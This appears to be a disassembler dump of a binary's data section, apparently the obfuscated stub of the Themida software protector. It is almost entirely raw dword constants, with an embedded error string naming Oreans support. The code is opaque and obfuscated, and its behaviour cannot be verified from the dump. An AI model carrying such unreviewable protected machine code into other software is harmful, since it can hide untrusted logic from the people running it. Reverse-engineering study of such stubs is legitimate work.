		dd 0FBBA3D2Ch, 0E26BB200h, 0FC370D9h, 5D2A01FEh, 286E6B2Ah
		dd 2011B639h, 0EAF9FDEFh, 0FDEF0C4Dh, 0E06EC5F9h, 0D554328Bh
		dd 86276592h, 0D981EDBh, 84BBAFB4h, 34258205h, 0EDF9FDEFh
		dd 0E7A35396h, 59B37DC6h, 6DDA041Bh, 0C1387BFAh, 9A23A8F3h
		dd 7E6422D7h, 0BDC8CE0Bh, 74EBDF44h, 307FE7D3h,	24413E0Ah
		dd 0F895203Eh, 0BDF55C29h, 32000003h, 67DAC0C4h, 0DAAF2B6Fh
		dd 3574921Eh, 6BDEC4C2h, 9A62C72h, 1AA8556Ah, 404E8DFCh
		dd 0A9F5E75Ah, 1D9B5C2Dh, 13B4CDF1h, 0F9FDC822h, 6E48B2F3h
		dd 0AB3C2369h, 0BCCA5E35h, 0E38A5313h, 0BCED7760h, 6EDE4701h
		dd 0BDBE2491h, 2C8DBC90h, 1FAAC4Eh, 3477EA41h, 0E0A3FAC6h
		dd 0FA2B1647h, 3B70CFF9h, 81BE9BA2h, 92F9FA2Bh,	0F4296054h
		dd 5B3FE6A1h, 2Eh, 0EEEFAE6Fh, 71045A0h, 0D4207103h, 956E7F41h
		dd 4A5A488h, 1FA3352h, 0A57B68Dh, 0F9FA4375h, 9D14E066h
		dd 3FE70D40h, 109EFh, 696ED300h, 7E7D3C23h, 858C9730h
		dd 728917C2h, 7C61E0F9h, 6B6CD736h, 9CEFB327h, 0CE8F285Fh
		dd 7FC18B9h, 0DB4CF328h, 0C8BBE3A4h, 5C8A8331h,	0F8E5EF67h
		dd 6FD67D4Eh, 1041E66Ah, 0C1FC1880h, 10913D6Ah,	86E5A951h
		dd 0D52B7455h, 0E3FC1884h, 9CDD7AF6h, 6EFC1884h, 4F242266h
		dd 44B5F412h, 82695D9Ah, 42BF8CD0h, 6D41CE3Bh, 0B34D5DFAh
		dd 8FE401FAh, 2DCB4803h, 0FA3BCB8Ch, 0F02D1AF9h, 0EEBAE871h
		dd 0ACDD041Fh, 0DF8C4A0Bh, 0C1669BF7h, 0F7DF8C90h, 40BDEA41h
		dd 575D9EC1h, 6305F64Bh, 11D7EAA0h, 48B5E26Fh, 0FE7A628Ch
		dd 696BCA5Fh, 0DE000002h, 33769C18h, 66DBC7C3h,	0C1A02E72h
		dd 370A9016h, 0A5D2F8C6h, 0B6FCE1BEh, 1CA25928h, 4549B3F6h
		dd 0A9EFE859h, 67C0212Dh, 0F9FDCBF6h, 0AEA4662Fh, 5A6ECEFh
		dd 0F713A15Ah, 2C8D45B2h, 0FC18B92Bh, 4A508DFAh, 0CE8A237h
		dd 6DBBBC1Dh, 1D6AFC18h, 76D8F17Ch, 7B189155h, 0EE51D057h
		dd 1358A3E9h, 0D1F161CAh, 4B2001FAh, 0A1DA5730h, 8FC9F9FAh
		dd 2B9D70B7h, 0BB323FE6h, 34000000h, 1EFB39AEh,	703BD3ACh
		dd 0A9EFE857h, 6490D352h, 23D88720h, 0CF210E9Dh, 0FDFC185Bh
		dd 5110BEFCh, 0CE8F28A8h, 7FC1853h, 5FA8F328h, 22DC232h
		dd 0DB142A02h, 0CE0F9E1Ch, 84252491h, 1FACA82h,	9F58463Dh
		dd 9F25D4F2h, 0E79A3F22h, 0E041F52h, 783CB8FBh,	0DE526EEFh
		dd 93C8A7F7h, 0B12A6DECh, 8A5398E3h, 28816C7h, 8BF0BE3Fh
		dd 0FE7AFC03h, 759EE184h, 0CA000001h, 3F02880Ch, 92D7F3B7h
		dd 0CDBC5A66h, 23068C0Ah, 51EEF4BAh, 0A2F0EDB2h, 8964524h
		dd 713DBF82h, 0A5E31455h, 6BCC3539h, 0F9FDCAEAh, 6EB07A3Bh
		dd 0A120276Dh, 18B95718h, 28B18EFCh, 0CCCA0F72h, 696E18C6h
		dd 6099D823h, 96BBBC5Ah, 17E42B8h, 0DF69B91Eh, 0A99801FAh
		dd 2B716434h, 0FB2E9BD0h, 0E368B3FFh, 750A57B6h, 66F9FA9Eh
		dd 409D14E0h, 0EF3FE636h, 31h, 0EDB12968h, 0BE8C5D9Eh
		dd 0D0577B18h, 0FAD3FF77h, 914A0D01h, 9319DC03h, 0ACFAC308h
		dd 56EBB4D7h, 45F9FAA3h, 21FC3303h, 8E3FE62Dh, 29h, 0EBEFAEB0h
		dd 2B7960A7h, 0B9354992h, 0EC71FC18h, 0CF0649F8h, 0A039B2C9h
		dd 38BFFE61h, 19A22B72h, 0FACD0EB0h, 0C8AE101h,	1739AE46h
		dd 0D14087Bh, 5DA8F6E5h, 211AA318h, 9619083Ch, 418BEE01h
		dd 924521A0h, 0A50EDF14h, 1FAAAC1h, 5F384338h, 0F9FAA822h
		dd 48BFB731h, 3FE62095h, 133Ah,	0FB880C00h, 0BFFC18B9h
		dd 2E8BBE92h, 1FACD9Ch,	0D4923877h, 0D0577B18h,	0A1E7EE51h
		dd 6FC8115Ah, 1FE108Ah,	0EE51B483h, 4227A3E9h, 0ABF41795h
		dd 4C157423h, 76C4B0FAh, 0AA9F3B81h, 151C6F2Dh,	7B043592h
		dd 66DDAFA4h, 1DB1A45h,	0A6433FF0h, 0EDEE51E7h,	0DA1744A7h
		dd 9FD6743h, 507E3CBDh,	5BA2E811h, 3F8h, 9DA70200h, 0D92C686Eh
		dd 0C05B6196h, 34575B81h, 25404E8Dh, 287341BAh,	1F6E34A9h
		dd 9B21D4h, 769519C1h, 788307CFh, 0E38953F2h, 4C381h, 0EB810000h
		dd 4, 5C241C87h, 51240489h, 0C181E189h,	4, 4E981h, 0C870000h
		dd 4895C24h, 0F4E6824h,	3C890000h, 4EC8124h, 89000000h
		dd 83BE2434h, 8905E557h, 8B545EF0h, 0C481243Ch,	4, 8478F50h
		dd 56243C8Bh, 0C681E689h, 4, 4C681h, 34870000h,	48B5C24h
		dd 0E2895224h, 4C281h, 0C2830000h, 24148704h, 0A55E95Ch
		dd 19F3FFFDh, 753EB89Ch, 0C50305E5h, 0AD48E0FFh, 23320679h
		dd 887618Ah, 9EF039D1h,	0C7CE6BD9h, 38DB6135h, 0E60C5201h
		dd 0CE132A2Dh, 0AB39451Fh, 0C58121C8h, 0DFC31BDBh, 22803EF0h
		dd 873E4F26h, 61526942h, 0CE2151E3h, 0F4080A01h, 0FFAE3A06h
		dd 1497553Ah, 28B65E4Ch, 62F9697Ch, 54D0522Fh, 5CF57E11h
		dd 0C830716Bh, 3AF32D55h, 634304Bh, 6E3B6400h, 0CBC12E1Eh
		dd 0E957FCh, 4,	33000000h, 69206E41h, 7265746Eh, 206C616Eh
		dd 65637865h, 6F697470h, 636F206Eh, 65727563h, 41282064h
		dd 65726464h, 203A7373h, 78257830h, 500D0A29h, 7361656Ch
		dd 63202C65h, 61746E6Fh, 73207463h, 6F707075h, 6F407472h
		dd 6E616572h, 6F632E73h, 54202E6Dh, 6B6E6168h, 756F7920h
		dd 21h,	0E3h dup(0)
		dd 56000000h, 45000000h, 0
		dd 0E9000000h, 1115h, 0E857006Ah, 3, 5FC35F20h,	4247C89h
		dd 4244481h, 18h, 0CFC35747h, 2B9936B4h, 1189858Bh, 6A05E2h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 150424h, 50400000h
		dd 898655C3h, 0E203D195h, 24443905h, 0BF850F04h, 6A000000h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1B042444h
		dd 41000000h, 0CA2CC351h, 2A7F61D8h, 8B609E77h,	0E2171585h
		dd 1DBD0B05h, 6105E21Dh, 14E9h,	80008E00h, 0D4936355h
		dd 0B05BE999h, 6CD09A2Bh, 65386C8Dh, 8E961h, 5E1D0000h
		dd 28A48F51h, 0BD83A147h, 5E22655h, 5B840F00h, 60000000h
		dd 0D7D8529h, 0BD8905E2h, 5E20E8Dh, 0ED858D61h,	0F505E239h
		dd 6AE0FFh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h
		dd 56460000h, 49CC4EC3h, 1A8B0Fh, 0E9600000h, 13h, 0B5193AB7h
		dd 0A4822CD7h, 981707BDh, 169DC88Ch, 6127BF65h,	2AF59D29h
		dd 858B05E2h, 5E2150Dh,	0D6816660h, 8B66160Ah, 443961D3h
		dd 850F0424h, 33h, 11E9h, 0D9117B00h, 4A9339E5h, 0D413D937h
		dd 0E0BD3F19h, 85C78C0Fh, 5E57A38h, 1, 0D840Fh,	8E90000h
		dd 24000000h, 84D0225Dh, 603A1D47h, 6E9h, 0CE633A00h, 0E9371244h
		dd 27h,	0FE860h, 0F6E90000h, 0C654BC72h, 0EFE14682h, 0AD1C0E51h
		dd 7E95829h, 0F4000000h, 5A703542h, 61B85Fh, 0B8000000h
		dd 1, 7BD48587h, 0C00B05E5h, 0B5FFF675h, 5E20A49h, 7A30858Fh
		dd 206A05E5h, 95FFFF6Ah, 5E20B41h, 7A1BD83h, 740005E2h
		dd 0FF006A08h, 0E20AB995h, 0EDBD8305h, 105E21Fh, 80680D74h
		dd 6A000000h, 4195FFFFh, 2905E20Bh, 0E20E31BDh,	7E905h
		dd 9A250000h, 1C8BAF8Ah, 6AC02BB8h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1D042444h, 47000000h, 0C2B9C357h
		dd 0EFA82AD6h, 0F8876A9Eh, 5E860h, 1A2B0000h, 60854021h
		dd 0BD295961h, 5E21E91h, 0B5316061h, 5E218ADh, 2B4D8D8Bh
		dd 8B6105E2h, 0F282454h, 681h, 45BD3100h, 8905E20Eh, 0E2018985h
		dd 52006A05h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1504h
		dd 0C3524200h, 3CBE9485h, 6A000000h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 7516C356h
		dd 24247403h, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 1Bh,	0B1C35747h, 75D18293h, 89020FB6h, 0E205618Dh, 6AAD6605h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1C042444h
		dd 40000000h, 14F3C350h, 0E985DCF4h, 0E97CB3FFh, 13h, 1D1870E3h
		dd 21E3F515h, 0E2B44B2Fh, 48518137h, 0F8810B19h, 24244403h
		dd 0CF815660h, 32FB1C03h, 8D9D315Bh, 6105E222h,	0EE950h
		dd 8F0F0000h, 6C173B72h, 2A5C15AAh, 0BB32D416h,	6A240489h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1D042444h
		dd 41000000h, 0BFE3C351h, 0A12949D5h, 0FF670B07h, 0E978408Bh
		dd 13h,	9A813EA1h, 37B3A8EEh, 36965EC8h, 804E94DBh, 83B16393h
		dd 0E57A38BDh, 850F0005h, 0CFh,	22259509h, 0E99005E2h
		dd 9, 0A352A0A2h, 0DD6E473Fh, 666050C5h, 66DA10BFh, 9061F18Bh
		dd 12E9h, 67722300h, 0F5B2883Ch, 0FC6CB1Ah, 95DF8F92h
		dd 8BD26940h, 6A2C2444h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 15042444h, 41000000h, 0E03BC351h,	0F819D29h
		dd 0E99005E2h, 7, 8F4FD11Ch, 50E1C2B2h,	8D0F5360h, 0
aYQGarj		db 'Y¾ÐQËgaj',0
		dw 0E856h
		dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 96C35646h, 1870Fh
		dd 89FC0000h, 0E214C9B5h, 0DB86005h, 0F204E0Eh,	8D61DAB7h
		dd 0E554A785h, 0D0FFF505h, 12E9h, 64C01800h, 9FBD6CE0h
		dd 9757045Ah, 8B117D39h, 390BCCEh, 9282444h, 0E21505B5h
		dd 18408B05h, 0E855006Ah, 3, 5DC35D20h,	4246C89h, 4244481h
		dd 1Ah,	0FEC35545h, 283E9696h, 800F1151h, 6, 0C5D8D29h
		dd 6A4005E2h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 18042444h, 46000000h, 0CC92C356h, 0F3071EDh,	68Dh, 5B58900h
		dd 905E201h, 0E22FB5BDh, 34858905h, 6A05E57Ah, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h
		dd 9EC3C356h, 8FC37696h, 5B0E96E6h, 88B0Fh, 0F600000h
		dd 82h,	31606100h, 0E211B58Dh, 0D0B70F05h, 6A5861h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h
		dd 0BA621EC3h, 0E2C026D4h, 0F196ECBh, 68Ah, 69BD8900h
		dd 8B05E213h, 95017870h, 5E223B5h, 6A1CC683h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 14042444h, 42000000h
		dd 6056C352h, 15EF8166h, 858D8972h, 6105E229h, 6A96F9h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h
		dd 880F17C3h, 8, 2DB58B60h, 6105E221h, 24247C81h, 10000000h
		dd 106870Fh, 9D890000h,	5E22651h, 3DB509h, 509005E2h, 2890F52h
		dd 60000000h, 0E9310F61h, 5, 8988D96Ah,	50585A1Fh, 12820Fh
		dd 52500000h, 820Fh, 310F0000h,	310F5250h, 585A585Ah, 0E9606090h
		dd 0Fh,	7913F1Dh, 267BDBBBh, 62973AFDh,	3138C3B9h, 0E221B5BDh
		dd 0E8606105h, 7, 0FBE5334Ch, 5858548Eh, 0B36BD981h, 61613ABCh
		dd 2824448Bh, 61BD8960h, 0F05E21Bh, 5061F8BFh, 7E95250h
		dd 34000000h, 0F750F478h, 310FE715h, 5E9h, 0B7102500h
		dd 585A14ECh, 60240489h, 14B58D23h, 958905E2h, 5E23251h
		dd 858DF961h, 5E554A7h,	1D5DB589h, 0D0FF05E2h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0ABC35747h, 138C0Fh
		dd 0EE90000h, 0BB000000h, 9E6FFF35h, 9DC2D6EAh,	0E064C018h
		dd 0D870F6Ch, 0E9000000h, 8, 0C7D3ECA4h, 0A9697910h, 56006A96h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1C04h, 0C3564600h
		dd 8539CF2Dh, 0C5B77F24h, 0F28B603Bh, 1F0DB58Bh, 896105E2h
		dd 0E213E995h, 24740305h, 1880F24h, 0F9000000h,	0C69BD8Dh
		dd 6A05E2h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h
		dd 56460000h, 0F0B29C3h, 789h, 1860F00h, 0F5000000h, 18B0FADh
		dd 0F5000000h, 24247C81h, 10000000h, 114870Fh, 6A0000h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
		dd 0F8468BC3h, 0C820F50h, 0F000000h, 68Eh, 0F525000h, 89585A31h
		dd 8BF92404h, 6A282444h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 14042444h, 42000000h, 89E1C352h, 0E20CB195h
		dd 14E905h, 939D0000h, 6856116Eh, 0BBD1F010h, 122004BDh
		dd 1685835Bh, 5090FDDDh, 6800F52h, 0F000000h, 89h, 60310F00h
		dd 0BE8h, 54BC7200h, 0E14682C6h, 1C0E51EFh, 0EE95Eh, 3A930000h
		dd 9EED73CDh, 59960B18h, 434644F2h, 50585A61h, 0BAB5B060h
		dd 3C06ECBCh, 6A9061h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 150424h, 55450000h, 0FDCA9C3h, 1088h, 0BE900h, 0CF470000h
		dd 0BAAAEB53h, 97BF95CCh, 858DF9D1h, 5E554A7h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 57C35141h, 0D0FF9D4Dh
		dd 4403FCF9h, 6A2424h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 170424h, 57470000h, 0B562FBC3h, 99858962h, 0AB05E21Ah
		dd 0ADBD8B60h, 2905E21Eh, 0E204BDB5h, 0FA816105h, 10000h
		dd 6B4820Fh, 80600000h,	81668BC7h, 61DC62CAh, 2991BD8Dh
		dd 6A05E2h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h
		dd 57470000h, 105CFBC3h, 8B6660E4h, 0C19D09DAh,	6105E20Ch
		dd 263D9D29h, 6AAD05E2h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 17042444h, 47000000h, 0A831C357h,	9529569Ch
		dd 5E2061Dh, 6099D89h, 890F05E2h, 0Bh, 6E9h, 0B2F5DA00h
		dd 8104AC40h, 24247Ch, 0F100000h, 0AE87h, 17800F00h, 0E9000000h
		dd 12h,	811DAC47h, 92AFDBFFh, 0CA744B6Fh, 0D4BBE210h, 9D09AF41h
		dd 5E218B5h, 0C840F90h,	0F000000h, 689h, 8C0F00h, 50000000h
		dd 66525060h, 310FDE8Bh, 585ADE8Bh, 90615B53h, 61F8F860h
		dd 0B840Fh, 6E90000h, 4D000000h, 0C6BF3E17h, 24448B8Bh
		dd 55006A28h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1A04h
		dd 0C3554500h, 2EA72CEAh, 504588E5h, 9E9h, 6CAF5500h, 0A688B062h
		dd 489B262h, 4DBD8924h,	8D05E20Dh, 0E554A785h, 958D8905h
		dd 0FF05E22Fh, 759589D0h, 305E211h, 89242444h, 0E2008DBDh
		dd 870F5005h, 0Ch, 6890Fh, 8C0F0000h, 0
		dd 6A240489h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 17042444h, 45000000h, 2140C355h, 0ABF87F2Eh,	0CE9h
		dd 8D8ED200h, 0D96B3666h, 323E60AFh, 71BD8D6Dh,	6A05E22Ch
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 19042444h
		dd 43000000h, 0D5A5C353h, 529C8447h, 6AADF8h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 160424h, 52420000h, 4ED64EC3h
		dd 8AD8D89h, 7C8105E2h,	2824h, 870F1000h, 0BEh,	0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 93C35545h, 97A71BE5h
		dd 80B86050h, 66713259h, 8961FE8Bh, 6A2404h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1A0424h, 57470000h, 789F6BC3h
		dd 0C8822839h, 0C18B6660h, 24448B61h, 7E92Ch, 6B790000h
		dd 0BB8B4C7Ah, 800F501Fh, 12h, 820F5250h, 0
		dd 8E0F310Fh, 0
		dd 489585Ah, 0B9B58924h, 8D05E21Eh, 0E554A785h,	49BD8905h
		dd 0FF05E21Dh, 53006AD0h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1804h, 0C3534300h, 364978CFh, 0B5336024h
		dd 5E22649h, 440361F5h,	870F2824h, 6, 64D8D29h,	8D0F05E2h
		dd 15h,	0F850Fh, 0AE90000h, 0A5000000h,	1ED79705h, 0A485B9CCh
		dd 870FABAEh, 1Dh, 178A0Fh, 12E90000h, 9A000000h, 921E0552h
		dd 72F267A8h, 0B7869B60h, 0BB19D812h, 8DFF5EA5h, 5E57A34h
		dd 7A34BD83h, 750005E5h, 8DC0330Ah, 0E58889B5h,	56E6FF05h
		dd 247C81ADh, 28h, 500E7710h, 2C24448Bh, 0A7858D50h, 0FF05E554h
		dd 244403D0h, 0DF8B9728h, 7A30858Ah, 0C08405E5h, 73A0474h
		dd 32574C75h, 0FD75AEC0h, 52FB2B5Eh, 49C933FCh,	0C033D18Bh
		dd 32ACDB33h, 8ACD8AC1h, 0B6D68AEAh, 0EBD16608h, 73D8D166h
		dd 41356609h, 0F3816650h, 0CEFE5449h, 0C833EB75h, 754FD333h
		dd 0F7D2F7D5h, 0C1C28BD1h, 8B6610C0h, 0D03B5AC1h, 835E0F74h
		dd 85FF04C6h, 5E20189h,	0FFFF5DE9h, 860F5EFFh, 0Ch, 7E9h
		dd 21276C00h, 9D9627CBh, 15D58589h, 858B05E2h, 5E20189h
		dd 1DEDB589h, 0E0D105E2h, 718503F5h, 6005E22Ch,	89D68B66h
		dd 0E213F9B5h, 0BE6105h, 60000000h, 0DFB70F60h,	89615E53h
		dd 0E201358Dh, 6A966105h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 15042444h, 42000000h, 3306C352h, 21498589h
		dd 860F05E2h, 7, 1880Fh, 66F90000h, 158D0FADh, 0E9000000h
		dd 10h,	721D8F40h, 0E1B23C91h, 80152623h, 82D2E350h, 0F02E0C1h
		dd 688h, 9958900h, 305E21Dh, 0E20C6985h, 53006A05h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1904h, 0C3534300h
		dd 0C06BCFEFh, 9E916B1h, 0CC000000h, 0BC208ECFh, 0ACB3AFE2h
		dd 598D8996h, 0E905E213h, 14h, 55904AF2h, 92C84BF3h, 64EF0EA2h
		dd 0C8790131h, 28B634C0h, 1880FADh, 0F9000000h,	24247C81h
		dd 10000000h, 0F5870Fh,	0BD890000h, 5E22619h, 0BE990h
		dd 79140000h, 15E8E865h, 0B9CFAD92h, 14E950B6h,	8B000000h
		dd 942A4A4Ch, 70D08E3Fh, 8E1A76EFh, 5B652A45h, 904F930Ch
		dd 1F998531h, 0F6005E2h, 38Ah, 0C9B70F00h, 61FA8B66h, 2824448Bh
		dd 525090F9h, 665E5160h, 611BDDBFh, 860F310Fh, 6, 310F5250h
		dd 585A585Ah, 12E950h, 94E10000h, 0E3477A0Ch, 0F5896E7Bh
		dd 5475DF2Fh, 0FEDB1059h, 52006A90h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1A04h,	0C3524200h, 1E4C7FB3h
		dd 8DEFBCDBh, 0E554A785h, 53006A05h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1604h,	0C3534300h, 60EF801Ah
		dd 2189B533h, 810F05E2h, 6, 1775958Bh, 0F96105E2h, 14E9D0FFh
		dd 0FE000000h, 0FA92707Dh, 7692347Ch, 27DF91E7h, 2FD4693Ah
		dd 3B0DFC4h, 6A242444h,	3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1C042444h, 46000000h, 0B5D1C356h,	9C65F51Fh
		dd 0F533D67Dh, 1C244489h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 19h, 67C35545h, 0C233F35Dh, 59BD8918h, 0C605E22Bh
		dd 0E20A4985h, 85C70005h, 5E57BD4h, 0
		dd 7A3885C7h, 5E5h, 0BB600000h,	26DBA9F1h, 17A98589h, 6A6105E2h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1C042444h
		dd 43000000h, 8496C353h, 0D5A6953Dh, 16A967Ah, 0E213D58Dh
		dd 6A6105h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h
		dd 57470000h, 9D2976C3h, 5E21131h, 6A0008C2h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h
		dd 0ACCFC352h, 43809EE5h, 19860F40h, 0F000000h,	1389h
		dd 0EE900h, 7F250000h, 178BE8CEh, 4ABF12FCh, 0C04FBCBBh
		dd 2AE19D29h, 858B05E2h, 5E20C69h, 7810Fh, 830F0000h, 1
		dd 95894AF8h, 5E20C91h,	6A04D26Bh, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 17042444h, 45000000h, 0A61C355h
		dd 8B607AB5h, 0E20CB9BDh, 5E805h, 3A680000h, 805E5454h
		dd 615983E6h, 6AC203h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 170424h, 51410000h, 8B5DEFC3h, 6096F9EAh, 2F959D03h
		dd 0B52B05E2h, 5E20D31h, 0F60AD61h, 0B523D3BFh,	5E20499h
		dd 247C8161h, 24h, 3870F10h, 6A000001h,	3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 0F4E4C353h
		dd 8901716Ch, 0E217F99Dh, 840F5005h, 0Ch, 6830Fh, 8B0F0000h
		dd 0
		dd 0E9240489h, 6, 0B83A747Bh, 448B92E5h, 6E92824h, 2B000000h
		dd 17432545h, 8E950A4h,	77000000h, 55B70F91h, 893A2940h
		dd 6A2404h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h
		dd 53430000h, 0AD6136C3h, 11E9259Ch, 0E8000000h, 0AF9AB839h
		dd 0F92AE11Bh, 9133D8DCh, 789D6293h, 54A7858Dh,	800F05E5h
		dd 0Ch,	6880Fh,	0BD310000h, 5E21459h, 6AD0FFh, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
		dd 668B89C3h, 4F82D914h, 95319236h, 5E20729h, 1B8A0FF5h
		dd 0F000000h, 158Ah, 10E900h, 0C7CF0000h, 0F3D7522Ch, 5B24E14Dh
		dd 3EF53EADh, 48E9168Dh, 6AFFFFFDh, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 2E42C356h
		dd 96952D5Ah, 57558C73h, 14E9h,	836800h, 0E0C321AFh, 0BC4EB95h
		dd 469F9982h, 73040624h, 9E858D7Ah, 0F05E58Eh, 138Eh, 0EE900h
		dd 0B8BE0000h, 0B92D3A9h, 532CB680h, 0FC1FE676h, 11E86050h
		dd 0AD000000h, 456FAC79h, 0B8641871h, 0EBA35E1Fh, 0F352109Ah
		dd 0E8585A53h, 10h, 0B144830Ch,	4C2658D2h, 448DD497h, 0F274D38Bh
		dd 800Fh, 61590000h, 6A240489h,	3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 15042444h, 46000000h, 0B3C4C356h,	68D0Fh
		dd 0BD310000h, 5E22C19h, 7A5BD89h, 0FF6405E2h, 35h, 5E900h
		dd 693D0000h, 8B17D535h, 8B0F2404h, 19h, 14E9h,	7FF8D300h
		dd 7975623Bh, 0DB47E2A4h, 82235D97h, 62B61EC1h,	19858962h
		dd 6A05E233h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1C042444h, 41000000h, 0FCBFC351h, 7C4BD77Ah,	0F6DB717h
		dd 68Dh, 0D8D3100h, 0F05E20Dh, 138Ah, 0EE900h, 7A950000h
		dd 82E10356h, 0DA105207h, 43E9D1AEh, 258964h, 6A000000h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1C042444h
		dd 41000000h, 4DA8C351h, 4313CEB8h, 0F891E3A5h,	8CD5858Dh
		dd 89FC05E5h, 0DE90160h, 36000000h, 96E534C5h, 3F333E43h
		dd 4E72A857h, 21DE9h, 14E900h, 86C30000h, 0EB36E62Fh, 8023BBEFh
		dd 9E2DE5Eh, 0D23F4847h, 0DB8BD4A6h, 0E8h, 0ED815D00h
		dd 5E58CCEh, 12FF9CBCh,	0EDBD8300h, 5E21Fh, 858B1874h
		dd 5E21F35h, 8B0000C6h,	0E2192D85h, 0C605h, 40595FFh, 0FF6005E2h
		dd 0E5763CB5h, 40858D05h, 5005E576h, 7838858Dh,	0FF5005E5h
		dd 0E22C2995h, 0CC48305h, 0E9858961h, 0F05E22Bh, 88Ah
		dd 2840F00h, 60000000h,	38B58D61h, 8905E578h, 0E231658Dh
		dd 0D9B58905h, 8D05E21Ch, 0E22D8DBDh, 7D9D2905h, 8005E204h
		dd 840F003Eh, 60h, 12E9h, 0A4D4F000h, 0E2BBD0DFh, 0F11B9F04h
		dd 0F6F63540h, 0A42A0331h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Ah, 3EC35141h, 0BC1859CCh, 9531EEBAh, 5E21905h
		dd 0FFFFB2E9h, 0F8E0FFFh, 0E9000000h, 0Ah, 0E771AC9h, 0C94E4FAAh
		dd 9589E78Dh, 5E22619h,	0B8h, 55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1804h,	0C3554500h, 25884514h
		dd 85896068h, 5E20AFDh,	76C6E881h, 0F56148C3h, 19DDB589h
		dd 6AAA05E2h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1D042444h, 46000000h, 0C490C356h, 7879D19Eh,	38823843h
		dd 7B8h, 9DBD0900h, 0C705E21Fh,	0E2078185h, 105h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1504h, 0C3554500h
		dd 8D8D64D1h, 5E24C42h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 16h, 54C35343h, 85299830h,	5E231D1h, 6AE1FFh
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h
		dd 4DE792C3h, 1523FE2Dh, 29D9259Bh, 0E21EE5B5h
		db 5
byte_526B55	db 8Bh,	5Ch, 24h	; DATA XREF: Themida_:004EF7F4o
		dd 0E8550Ch, 5D000000h,	8EA8ED81h, 838B05E5h, 0B8h, 763C8589h
		dd 858D05E5h, 5E58CC7h,	0B88389h, 335D0000h, 6AC3C0h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h
		dd 6F58C1C3h, 5142B8D1h, 880F8E8Bh, 19h, 14E9h,	0D6806B00h
		dd 37716A58h, 424733C6h, 0A863FC16h, 70E30EEEh,	5E918h
		dd 0A2160000h, 89498BAAh, 0E2117195h, 8E96005h,	48000000h
		dd 0FB5C15Bh, 8D5BEF0Bh, 0E590AB85h, 12E905h, 329A0000h
		dd 4E48F0B1h, 2F135AACh, 0AC9B96CDh, 0D8CB2411h, 840F6050h
		dd 3, 0E8F08B66h, 9, 4F7192B1h,	0F05386AFh, 0DE95Ah, 14DE0000h
		dd 6F40EBF1h, 0B820AA09h, 5FDE222Bh, 24048961h,	6810Fh
		dd 9D310000h, 5E21381h,	35FF64h, 60000000h, 378EC981h
		dd 64613CCEh, 2589h, 6A0000h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1A0424h, 56460000h, 36F9AC3h, 0BAF9F008h
		dd 108D0Fh, 0BE90000h, 71000000h, 284E6C3Bh, 0B84F44C1h
